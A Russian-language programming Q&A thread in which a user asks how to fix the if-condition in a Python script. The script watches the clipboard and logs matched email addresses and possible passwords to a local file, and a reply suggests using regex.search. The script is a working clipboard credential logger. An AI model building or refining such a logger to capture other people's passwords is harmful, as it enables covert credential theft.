@Weishaupt

Как правильно использовать regex с условием(if)?

Всем привет, не могу разобраться с использованием регулярки в связке с условием, подскажите что я делаю не так?

Исходный код:
# Подключим модуль для работы с буфером обмена
import pyperclip
# Подключим модуль для работы с системным временем
import time
# Задаем переменную old и присваиваем ей пустую строку
old = ''
# Начнем бесконечный цикл слежения за буфером обмена
while True:
    # Кладем в переменную s содержимое буфера обмена
    s = pyperclip.paste()
    # Если полученное содержимое не равно предыдущему, то:
    if(s != old):
        # печатаем его
        print(s)
        # в переменную old записываем текущее пойманное значение
        # чтобы в следующий виток цикла не повторяться и не печатать то, что уже поймано
        old = s
    # В конце витка цикла делаем паузу в одну секунду, чтобы содержимое буфера обмена успело прогрузиться
    time.sleep(1)


Задача была допилить ловлю email адресов и возможных паролей из буфера и сохранить в файл monitoring.txt, первый вариант был такой:
import pyperclip
import time
import re
old = ''
while True:
    s = pyperclip.paste()
    if(s != old):
        print(s)
        old = s
    time.sleep(1)
    with open(u'monitoring.txt', 'a', encoding='UTF-8') as f:
        matchMail = re.findall(r'[\w-]+@([\w-]+\.)+[\w-]+', s)
        matchPass = re.findall(r'[A-Za-z\d_@$!%*?&]{6,}', s)
        if not (str(matchMail) in s or str(matchPass) in s):
            continue
        else:
            print(s)
            f.write(str(s) + '\n')


Почитав документацию по regex вариант стал такой:
import pyperclip
import time
import re
old = ''
while True:
    s = pyperclip.paste()
    time.sleep(1)
    with open(u'monitoring.txt', 'a', encoding='UTF-8') as f:
        if (s != old):
            old = s
            regex_mail = re.compile(r'[\w-]+@([\w-]+\.)+[\w-]+')
            regex_pass = re.compile(r'[A-Za-z\d_@$!%*?&]{6,}')
            if str(regex_mail.findall(s)) is not None or str(regex_pass.findall(s)) is not None:
                print(s)
                f.write(str(s) + '\n')


Я думаю что у меня проблема с логикой
if (str(regex_mail.findall(s)) is not None) or (str(regex_pass.findall(s)) is not None):

но как ее решить я не понимаю, как сохранять в файл monitoring.txt исключительно email адреса и все что попадает под регулярку в regex.pass
  • Вопрос задан
  • 170 просмотров
Решения вопроса 1
SoreMix
@SoreMix Куратор тега Python
yellow
Как-то много действий

if regex_mail.search(s) or regex_pass.search(s):
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы